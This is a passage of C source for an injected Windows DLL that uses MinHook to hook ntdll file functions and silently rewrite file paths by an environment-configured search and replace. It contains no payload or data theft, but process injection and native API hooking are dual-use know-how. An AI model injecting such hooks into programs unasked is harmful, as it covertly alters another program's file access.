||||
#endif
|
||||
}
|
||||
|
||||
// Helper function for case-insensitive wide string comparison
|
||||
int wcsnicmp_custom(const WCHAR* s1, const WCHAR* s2, SIZE_T count) {
|
||||
for (SIZE_T i = 0; i < count; i++) {
|
||||
WCHAR c1 = s1[i];
|
||||
WCHAR c2 = s2[i];
|
||||
|
||||
// Convert to uppercase for comparison
|
||||
if (c1 >= L'a' && c1 <= L'z') c1 = c1 - L'a' + L'A';
|
||||
if (c2 >= L'a' && c2 <= L'z') c2 = c2 - L'a' + L'A';
|
||||
|
||||
// Also handle backslash vs forward slash
|
||||
if (c1 == L'/') c1 = L'\\';
|
||||
if (c2 == L'/') c2 = L'\\';
|
||||
|
||||
if (c1 != c2) return (c1 < c2) ? -1 : 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Helper function to normalize NT paths - skip \??\ prefix if present
|
||||
const WCHAR* NormalizePath(const WCHAR* path, SIZE_T* adjustedLength) {
|
||||
if (!path || !adjustedLength) return path;
|
||||
|
||||
SIZE_T length = *adjustedLength;
|
||||
|
||||
// Check for \??\ prefix (NT object namespace for DOS devices)
|
||||
if (length >= 4 && path[0] == L'\\' && path[1] == L'?' && path[2] == L'?' && path[3] == L'\\') {
|
||||
*adjustedLength = length - 4;
|
||||
return path + 4;
|
||||
}
|
||||
|
||||
// Check for \Device\ or \DEVICE\ prefix
|
||||
if (length >= 8 &&
|
||||
(wcsnicmp_custom(path, L"\\DEVICE\\", 8) == 0 || wcsnicmp_custom(path, L"\\Device\\", 8) == 0)) {
|
||||
// Don't adjust - these are device paths, not file paths
|
||||
return path;
|
||||
}
|
||||
|
||||
return path;
|
||||
}
|
||||
|
||||
// NT API typedefs
|
||||
typedef struct _UNICODE_STRING {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} UNICODE_STRING, * PUNICODE_STRING;
|
||||
|
||||
typedef struct _OBJECT_ATTRIBUTES {
|
||||
ULONG Length;
|
||||
HANDLE RootDirectory;
|
||||
PUNICODE_STRING ObjectName;
|
||||
ULONG Attributes;
|
||||
PVOID SecurityDescriptor;
|
||||
PVOID SecurityQualityOfService;
|
||||
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
|
||||
|
||||
typedef struct _IO_STATUS_BLOCK {
|
||||
union {
|
||||
LONG Status;
|
||||
PVOID Pointer;
|
||||
};
|
||||
ULONG_PTR Information;
|
||||
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
|
||||
|
||||
typedef enum _FILE_INFORMATION_CLASS {
|
||||
FileDirectoryInformation = 1,
|
||||
FileFullDirectoryInformation,
|
||||
FileBothDirectoryInformation,
|
||||
FileBasicInformation,
|
||||
FileStandardInformation,
|
||||
FileInternalInformation,
|
||||
FileEaInformation,
|
||||
FileAccessInformation,
|
||||
FileNameInformation,
|
||||
FileRenameInformation = 10,
|
||||
FileLinkInformation,
|
||||
FileNamesInformation,
|
||||
FileDispositionInformation,
|
||||
FilePositionInformation,
|
||||
FileFullEaInformation,
|
||||
FileModeInformation,
|
||||
FileAlignmentInformation,
|
||||
FileAllInformation,
|
||||
FileAllocationInformation,
|
||||
FileEndOfFileInformation,
|
||||
FileAlternateNameInformation,
|
||||
FileStreamInformation,
|
||||
FilePipeInformation,
|
||||
FilePipeLocalInformation,
|
||||
FilePipeRemoteInformation,
|
||||
FileMailslotQueryInformation,
|
||||
FileMailslotSetInformation,
|
||||
FileCompressionInformation,
|
||||
FileObjectIdInformation,
|
||||
FileCompletionInformation,
|
||||
FileMoveClusterInformation,
|
||||
FileQuotaInformation,
|
||||
FileReparsePointInformation,
|
||||
FileNetworkOpenInformation,
|
||||
FileAttributeTagInformation,
|
||||
FileTrackingInformation,
|
||||
FileIdBothDirectoryInformation,
|
||||
FileIdFullDirectoryInformation,
|
||||
FileValidDataLengthInformation,
|
||||
FileShortNameInformation,
|
||||
FileIoCompletionNotificationInformation,
|
||||
FileIoStatusBlockRangeInformation,
|
||||
FileIoPriorityHintInformation,
|
||||
FileSfioReserveInformation,
|
||||
FileSfioVolumeInformation,
|
||||
FileHardLinkInformation,
|
||||
FileProcessIdsUsingFileInformation,
|
||||
FileNormalizedNameInformation,
|
||||
FileNetworkPhysicalNameInformation,
|
||||
FileIdGlobalTxDirectoryInformation,
|
||||
FileIsRemoteDeviceInformation,
|
||||
FileUnusedInformation,
|
||||
FileNumaNodeInformation,
|
||||
FileStandardLinkInformation,
|
||||
FileRemoteProtocolInformation,
|
||||
FileRenameInformationBypassAccessCheck,
|
||||
FileLinkInformationBypassAccessCheck,
|
||||
FileVolumeNameInformation,
|
||||
FileIdInformation,
|
||||
FileIdExtdDirectoryInformation,
|
||||
FileReplaceCompletionInformation,
|
||||
FileHardLinkFullIdInformation,
|
||||
FileIdExtdBothDirectoryInformation,
|
||||
FileRenameInformationEx = 65,
|
||||
FileRenameInformationExBypassAccessCheck,
|
||||
FileMaximumInformation
|
||||
} FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS;
|
||||
|
||||
// NT API function pointers
|
||||
typedef LONG NTSTATUS;
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtCreateFile)(
|
||||
PHANDLE FileHandle,
|
||||
ULONG DesiredAccess,
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
PLARGE_INTEGER AllocationSize,
|
||||
ULONG FileAttributes,
|
||||
ULONG ShareAccess,
|
||||
ULONG CreateDisposition,
|
||||
ULONG CreateOptions,
|
||||
PVOID EaBuffer,
|
||||
ULONG EaLength
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtOpenFile)(
|
||||
PHANDLE FileHandle,
|
||||
ULONG DesiredAccess,
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
ULONG ShareAccess,
|
||||
ULONG OpenOptions
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtDeleteFile)(
|
||||
POBJECT_ATTRIBUTES ObjectAttributes
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtSetInformationFile)(
|
||||
HANDLE FileHandle,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
PVOID FileInformation,
|
||||
ULONG Length,
|
||||
FILE_INFORMATION_CLASS FileInformationClass
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtQueryAttributesFile)(
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
PVOID FileInformation
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtQueryFullAttributesFile)(
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
PVOID FileInformation
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtQueryDirectoryFile)(
|
||||
HANDLE FileHandle,
|
||||
HANDLE Event,
|
||||
PVOID ApcRoutine,
|
||||
PVOID ApcContext,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
PVOID FileInformation,
|
||||
ULONG Length,
|
||||
FILE_INFORMATION_CLASS FileInformationClass,
|
||||
BOOLEAN ReturnSingleEntry,
|
||||
PUNICODE_STRING FileName,
|
||||
BOOLEAN RestartScan
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtQueryDirectoryFileEx)(
|
||||
HANDLE FileHandle,
|
||||
HANDLE Event,
|
||||
PVOID ApcRoutine,
|
||||
PVOID ApcContext,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
PVOID FileInformation,
|
||||
ULONG Length,
|
||||
FILE_INFORMATION_CLASS FileInformationClass,
|
||||
ULONG QueryFlags,
|
||||
PUNICODE_STRING FileName
|
||||
);
|
||||
|
||||
// Original function pointers
|
||||
pNtCreateFile OriginalNtCreateFile = NULL;
|
||||
pNtOpenFile OriginalNtOpenFile = NULL;
|
||||
pNtDeleteFile OriginalNtDeleteFile = NULL;
|
||||
pNtSetInformationFile OriginalNtSetInformationFile = NULL;
|
||||
pNtQueryAttributesFile OriginalNtQueryAttributesFile = NULL;
|
||||
pNtQueryFullAttributesFile OriginalNtQueryFullAttributesFile = NULL;
|
||||
pNtQueryDirectoryFile OriginalNtQueryDirectoryFile = NULL;
|
||||
pNtQueryDirectoryFileEx OriginalNtQueryDirectoryFileEx = NULL;
|
||||
|
||||
// Helper function to check if path needs redirection
|
||||
BOOL NeedsRedirection(const WCHAR* path, SIZE_T length) {
|
||||
if (!path || length == 0) return FALSE;
|
||||
|
||||
SIZE_T searchLen = wcslen(g_SearchString);
|
||||
if (searchLen == 0 || length < searchLen) return FALSE;
|
||||
|
||||
// Normalize the path (strip \??\ prefix if present)
|
||||
SIZE_T normalizedLength = length;
|
||||
const WCHAR* normalizedPath = NormalizePath(path, &normalizedLength);
|
||||
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
WCHAR tempPath[512] = { 0 };
|
||||
SIZE_T copyLen = normalizedLength < 511 ? normalizedLength : 511;
|
||||
wcsncpy_s(tempPath, 512, normalizedPath, copyLen);
|
||||
LogDebug(L"[NeedsRedirection] Checking normalized path: ");
|
||||
LogDebug(tempPath);
|
||||
LogDebug(L"[NeedsRedirection] Against search string: ");
|
||||
LogDebug(g_SearchString);
|
||||
}
|
||||
|
||||
if (normalizedLength < searchLen) return FALSE;
|
||||
|
||||
// Search for the search string in the normalized path (case-insensitive)
|
||||
for (SIZE_T i = 0; i <= normalizedLength - searchLen; i++) {
|
||||
if (wcsnicmp_custom(&normalizedPath[i], g_SearchString, searchLen) == 0) {
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebug(L"[NeedsRedirection] MATCH FOUND at position ");
|
||||
WCHAR posStr[32];
|
||||
wsprintfW(posStr, L"%zu", i);
|
||||
LogDebug(posStr);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebug(L"[NeedsRedirection] NO MATCH");
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Helper function to replace search string with the replacement string
|
||||
WCHAR* ReplacePath(const WCHAR* originalPath, SIZE_T originalLength, SIZE_T* newLength) {
|
||||
if (!originalPath || originalLength == 0 || !newLength) return NULL;
|
||||
|
||||
SIZE_T searchLen = wcslen(g_SearchString);
|
||||
SIZE_T replaceLen = wcslen(g_ReplacementString);
|
||||
|
||||
if (searchLen == 0 || originalLength < searchLen) return NULL;
|
||||
|
||||
// Normalize the path
|
||||
SIZE_T normalizedLength = originalLength;
|
||||
const WCHAR* normalizedPath = NormalizePath(originalPath, &normalizedLength);
|
||||
SIZE_T prefixLength = originalLength - normalizedLength; // Length of \??\ or other prefix
|
||||
|
||||
if (normalizedLength < searchLen) return NULL;
|
||||
|
||||
// Count occurrences (case-insensitive) in normalized portion
|
||||
SIZE_T occurrences = 0;
|
||||
for (SIZE_T i = 0; i <= normalizedLength - searchLen; i++) {
|
||||
if (wcsnicmp_custom(&normalizedPath[i], g_SearchString, searchLen) == 0) {
|
||||
occurrences++;
|
||||
i += searchLen - 1; // Skip past this occurrence
|
||||
}
|
||||
}
|
||||
|
||||
if (occurrences == 0) return NULL;
|
||||
|
||||
// Calculate new length (prefix + modified path)
|
||||
SIZE_T calcNewLength = prefixLength + normalizedLength + (occurrences * (replaceLen - searchLen));
|
||||
WCHAR* newPath = (WCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (calcNewLength + 1) * sizeof(WCHAR));
|
||||
if (!newPath) return NULL;
|
||||
|
||||
// Copy prefix (\??\ or other) if present
|
||||
SIZE_T destIdx = 0;
|
||||
for (SIZE_T i = 0; i < prefixLength; i++) {
|
||||
newPath[destIdx++] = originalPath[i];
|
||||
}
|
||||
|
||||
// Perform replacement in normalized portion (case-insensitive)
|
||||
SIZE_T srcIdx = 0;
|
||||
|
||||
while (srcIdx < normalizedLength) {
|
||||
if (srcIdx <= normalizedLength - searchLen &&
|
||||
wcsnicmp_custom(&normalizedPath[srcIdx], g_SearchString, searchLen) == 0) {
|
||||
// Copy replacement string
|
||||
for (SIZE_T j = 0; j < replaceLen; j++) {
|
||||
newPath[destIdx++] = g_ReplacementString[j];
|
||||
}
|
||||
srcIdx += searchLen;
|
||||
}
|
||||
else {
|
||||
newPath[destIdx++] = normalizedPath[srcIdx++];
|
||||
}
|
||||
}
|
||||
|
||||
*newLength = destIdx;
|
||||
return newPath;
|
||||
}
|
||||
|
||||
// Hook implementations
|
||||
NTSTATUS NTAPI HookedNtCreateFile(
|
||||
PHANDLE FileHandle,
|
||||
ULONG DesiredAccess,
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
PLARGE_INTEGER AllocationSize,
|
||||
ULONG FileAttributes,
|
||||
ULONG ShareAccess,
|
||||
ULONG CreateDisposition,
|
||||
ULONG CreateOptions,
|
||||
PVOID EaBuffer,
|
||||
ULONG EaLength
|
||||
) {
|
||||
PUNICODE_STRING originalString = NULL;
|
||||
UNICODE_STRING newString = { 0 };
|
||||
WCHAR* buffer = NULL;
|
||||
|
||||
// Only attempt redirection if hooks are properly initialized and we have the original function
|
||||
if (g_HooksInitialized && OriginalNtCreateFile && ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
|
||||
SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
|
||||
|
||||
// Log all paths for debugging
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE && pathLength > 0) {
|
||||
WCHAR tempPath[512] = { 0 };
|
||||
SIZE_T copyLen = pathLength < 511 ? pathLength : 511;
|
||||
wcsncpy_s(tempPath, 512, ObjectAttributes->ObjectName->Buffer, copyLen);
|
||||
LogDebug(L"");
|
||||
LogDebug(L"[NtCreateFile] Original Path: ");
|
||||
LogDebug(tempPath);
|
||||
}
|
||||
|
||||
if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
|
||||
SIZE_T newLength = 0;
|
||||
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
|
||||
|
||||
if (buffer) {
|
||||
WCHAR tempBuf[512] = { 0 };
|
||||
SIZE_T copyLen = newLength < 511 ? newLength : 511;
|
||||
wcsncpy_s(tempBuf, 512, buffer, copyLen);
|
||||
LogDebug(L"[NtCreateFile] *** REDIRECTING TO: ");
|
||||
LogDebug(tempBuf);
|
||||
|
||||
originalString = ObjectAttributes->ObjectName;
|
||||
newString.Buffer = buffer;
|
||||
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
|
||||
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
|
||||
ObjectAttributes->ObjectName = &newString;
|
||||
}
|
||||
else {
|
||||
LogDebug(L"[NtCreateFile] ReplacePath returned NULL");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
NTSTATUS result = OriginalNtCreateFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock,
|
||||
AllocationSize, FileAttributes, ShareAccess, CreateDisposition,
|
||||
CreateOptions, EaBuffer, EaLength);
|
||||
|
||||
if (originalString) {
|
||||
ObjectAttributes->ObjectName = originalString;
|
||||
if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
NTSTATUS NTAPI HookedNtOpenFile(
|
||||
PHANDLE FileHandle,
|
||||
ULONG DesiredAccess,
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
ULONG ShareAccess,
|
||||
ULONG OpenOptions
|
||||
) {
|
||||
PUNICODE_STRING originalString = NULL;
|
||||
UNICODE_STRING newString = { 0 };
|
||||
WCHAR* buffer = NULL;
|
||||
|
||||
if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
|
||||
SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
|
||||
|
||||
// Log all paths for debugging
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE && pathLength > 0 && g_HooksInitialized) {
|
||||
WCHAR tempPath[512] = { 0 };
|
||||
SIZE_T copyLen = pathLength < 511 ? pathLength : 511;
|
||||
wcsncpy_s(tempPath, 512, ObjectAttributes->ObjectName->Buffer, copyLen);
|
||||
LogDebug(L"");
|
||||
LogDebug(L"[NtOpenFile] Original Path: ");
|
||||
LogDebug(tempPath);
|
||||
}
|
||||
|
||||
if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
|
||||
SIZE_T newLength = 0;
|
||||
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
|
||||
|
||||
if (buffer) {
|
||||
WCHAR tempBuf[512] = { 0 };
|
||||
SIZE_T copyLen = newLength < 511 ? newLength : 511;
|
||||
wcsncpy_s(tempBuf, 512, buffer, copyLen);
|
||||
LogDebug(L"[NtOpenFile] *** REDIRECTING TO: ");
|
||||
LogDebug(tempBuf);
|
||||
|
||||
originalString = ObjectAttributes->ObjectName;
|
||||
newString.Buffer = buffer;
|
||||
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
|
||||
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
|
||||
ObjectAttributes->ObjectName = &newString;
|
||||
}
|
||||
else {
|
||||
LogDebug(L"[NtOpenFile] ReplacePath returned NULL");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
NTSTATUS result = OriginalNtOpenFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, ShareAccess, OpenOptions);
|
||||
|
||||
if (originalString) {
|
||||
ObjectAttributes->ObjectName = originalString;
|
||||
if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
NTSTATUS NTAPI HookedNtDeleteFile(POBJECT_ATTRIBUTES ObjectAttributes) {
|
||||
PUNICODE_STRING originalString = NULL;
|
||||
UNICODE_STRING newString = { 0 };
|
||||
WCHAR* buffer = NULL;
|
||||
|
||||
if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
|
||||
SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
|
||||
|
||||
if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
|
||||
SIZE_T newLength = 0;
|
||||
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
|
||||
|
||||
if (buffer) {
|
||||
originalString = ObjectAttributes->ObjectName;
|
||||
newString.Buffer = buffer;
|
||||
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
|
||||
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
|
||||
ObjectAttributes->ObjectName = &newString;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
NTSTATUS result = OriginalNtDeleteFile(ObjectAttributes);
|
||||
|
||||
if (originalString) {
|
||||
ObjectAttributes->ObjectName = originalString;
|
||||
if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
NTSTATUS NTAPI HookedNtSetInformationFile(
|
||||
HANDLE FileHandle,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
PVOID FileInformation,
|
||||
ULONG Length,
|
||||
FILE_INFORMATION_CLASS FileInformationClass
|
||||
) {
|
||||
typedef struct {
|
||||
BOOLEAN ReplaceIfExists;
|
||||
HANDLE RootDirectory;
|
||||
ULONG FileNameLength;
|
||||
WCHAR FileName[1];
|
||||
} FILE_RENAME_INFO;
|
||||
|
||||
if (FileInformation && (FileInformationClass == FileRenameInformation || FileInformationClass == FileRenameInformationEx)) {
|
||||
FILE_RENAME_INFO* renameInfo = (FILE_RENAME_INFO*)FileInformation;
|
||||
if (renameInfo->FileNameLength > 0) {
|
||||
SIZE_T pathLength = renameInfo->FileNameLength / sizeof(WCHAR);
|
||||
|
||||
if (NeedsRedirection(renameInfo->FileName, pathLength)) {
|
||||
SIZE_T newLength = 0;
|
||||
WCHAR* newPath = ReplacePath(renameInfo->FileName, pathLength, &newLength);
|
||||
|
||||
if (newPath) {
|
||||
ULONG newInfoSize = sizeof(FILE_RENAME_INFO) - sizeof(WCHAR) + (newLength * sizeof(WCHAR));
|
||||
FILE_RENAME_INFO* newRenameInfo = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, newInfoSize);
|
||||
|
||||
if (newRenameInfo) {
|
||||
newRenameInfo->ReplaceIfExists = renameInfo->ReplaceIfExists;
|
||||
newRenameInfo->RootDirectory = renameInfo->RootDirectory;
|
||||
newRenameInfo->FileNameLength = (ULONG)(newLength * sizeof(WCHAR));
|
||||
memcpy(newRenameInfo->FileName, newPath, newRenameInfo->FileNameLength);
|
||||
|
||||
NTSTATUS result = OriginalNtSetInformationFile(FileHandle, IoStatusBlock, newRenameInfo, newInfoSize, FileInformationClass);
|
||||
|
||||
HeapFree(GetProcessHeap(), 0, newRenameInfo);
|
||||
HeapFree(GetProcessHeap(), 0, newPath);
|
||||
return result;
|
||||
}
|
||||
HeapFree(GetProcessHeap(), 0, newPath);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return OriginalNtSetInformationFile(FileHandle, IoStatusBlock, FileInformation, Length, FileInformationClass);
|
||||
}
|
||||
|
||||
NTSTATUS NTAPI HookedNtQueryAttributesFile(
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
PVOID FileInformation
|
||||
) {
|
||||
PUNICODE_STRING originalString = NULL;
|
||||
UNICODE_STRING newString = { 0 };
|
||||
WCHAR* buffer = NULL;
|
||||
|
||||
if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
|
||||
SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
|
||||
|
||||
if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
|
||||
SIZE_T newLength = 0;
|
||||
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
|
||||
|
||||
if (buffer) {
|
||||
originalString = ObjectAttributes->ObjectName;
|
||||
newString.Buffer = buffer;
|
||||
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
|
||||
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
|
||||
ObjectAttributes->ObjectName = &newString;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
NTSTATUS result = OriginalNtQueryAttributesFile(ObjectAttributes, FileInformation);
|
||||
|
||||
if (originalString) {
|
||||
ObjectAttributes->ObjectName = originalString;
|
||||
if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
NTSTATUS NTAPI HookedNtQueryFullAttributesFile(
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
PVOID FileInformation
|
||||
) {
|
||||
PUNICODE_STRING originalString = NULL;
|
||||
UNICODE_STRING newString = { 0 };
|
||||
WCHAR* buffer = NULL;
|
||||
|
||||
if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
|
||||
SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
|
||||
|
||||
if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
|
||||
SIZE_T newLength = 0;
|
||||
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
|
||||
|
||||
if (buffer) {
|
||||
originalString = ObjectAttributes->ObjectName;
|
||||
newString.Buffer = buffer;
|
||||
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
|
||||
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
|
||||
ObjectAttributes->ObjectName = &newString;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
NTSTATUS result = OriginalNtQueryFullAttributesFile(ObjectAttributes, FileInformation);
|
||||
|
||||
if (originalString) {
|
||||
ObjectAttributes->ObjectName = originalString;
|
||||
if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
NTSTATUS NTAPI HookedNtQueryDirectoryFile(
|
||||
HANDLE FileHandle,
|
||||
HANDLE Event,
|
||||
PVOID ApcRoutine,
|
||||
PVOID ApcContext,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
PVOID FileInformation,
|
||||
ULONG Length,
|
||||
FILE_INFORMATION_CLASS FileInformationClass,
|
||||
BOOLEAN ReturnSingleEntry,
|
||||
PUNICODE_STRING FileName,
|
||||
BOOLEAN RestartScan
|
||||
) {
|
||||
return OriginalNtQueryDirectoryFile(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock,
|
||||
FileInformation, Length, FileInformationClass,
|
||||
ReturnSingleEntry, FileName, RestartScan);
|
||||
}
|
||||
|
||||
NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(
|
||||
HANDLE FileHandle,
|
||||
HANDLE Event,
|
||||
PVOID ApcRoutine,
|
||||
PVOID ApcContext,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
PVOID FileInformation,
|
||||
ULONG Length,
|
||||
FILE_INFORMATION_CLASS FileInformationClass,
|
||||
ULONG QueryFlags,
|
||||
PUNICODE_STRING FileName
|
||||
) {
|
||||
return OriginalNtQueryDirectoryFileEx(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock,
|
||||
FileInformation, Length, FileInformationClass,
|
||||
QueryFlags, FileName);
|
||||
}
|
||||
|
||||
// Install all hooks
|
||||
void InstallNtApiHooks(LPVOID lpParameter) {
|
||||
// Use a global try-catch to prevent any crashes
|
||||
__try {
|
||||
#if ENABLE_DEBUG_LOGGING
|
||||
// Enable logging for debugging
|
||||
WCHAR logPath[512];
|
||||
__try {
|
||||
ExpandEnvironmentStringsW(L"%TEMP%\\rdi_hooks.log", logPath, 512);
|
||||
g_LogFile = CreateFileW(logPath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||
g_LogFile = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebugA("=== DLL Injection Started ===");
|
||||
}
|
||||
#else
|
||||
g_LogFile = INVALID_HANDLE_VALUE;
|
||||
#endif
|
||||
|
||||
// Initialize to empty strings to prevent crashes
|
||||
g_SearchString[0] = L'\0';
|
||||
g_ReplacementString[0] = L'\0';
|
||||
|
||||
// Try to get configuration from environment variables
|
||||
__try {
|
||||
WCHAR envSearchString[512] = { 0 };
|
||||
WCHAR envReplaceString[512] = { 0 };
|
||||
|
||||
DWORD searchLen = GetEnvironmentVariableW(L"RDI_SEARCH_PATH", envSearchString, 512);
|
||||
DWORD replaceLen = GetEnvironmentVariableW(L"RDI_REPLACE_PATH", envReplaceString, 512);
|
||||
|
||||
if (searchLen > 0 && searchLen < 512 && replaceLen > 0 && replaceLen < 512) {
|
||||
wcsncpy_s(g_SearchString, 512, envSearchString, searchLen);
|
||||
g_SearchString[searchLen] = L'\0';
|
||||
wcsncpy_s(g_ReplacementString, 512, envReplaceString, replaceLen);
|
||||
g_ReplacementString[replaceLen] = L'\0';
|
||||
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebug(L"========================================");
|
||||
LogDebug(L"[ENV] Search string from env: ");
|
||||
LogDebug(g_SearchString);
|
||||
LogDebug(L"[ENV] Replacement string from env: ");
|
||||
LogDebug(g_ReplacementString);
|
||||
|
||||
char lenMsg[256];
|
||||
sprintf_s(lenMsg, 256, "[ENV] Search string length: %zu characters", wcslen(g_SearchString));
|
||||
LogDebugA(lenMsg);
|
||||
LogDebug(L"========================================");
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebugA("Environment variables not found, hooks disabled");
|
||||
}
|
||||
}
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebugA("Exception reading environment variables");
|
||||
}
|
||||
g_SearchString[0] = L'\0';
|
||||
g_ReplacementString[0] = L'\0';
|
||||
}
|
||||
|
||||
// Initialize MinHook (this must succeed)
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebugA("Initializing MinHook...");
|
||||
}
|
||||
|
||||
if (MH_Initialize() != MH_OK) {
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebugA("ERROR: MinHook initialization failed!");
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebugA("MinHook initialized successfully");
|
||||
}
|
||||
|
||||
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
|
||||
if (!ntdll) {
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebugA("ERROR: Failed to get ntdll.dll handle!");
|
||||
}
|
||||
MH_Uninitialize();
|
||||
return;
|
||||
}
|
||||
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebugA("Got ntdll.dll handle");
|
||||
}
|
||||
|
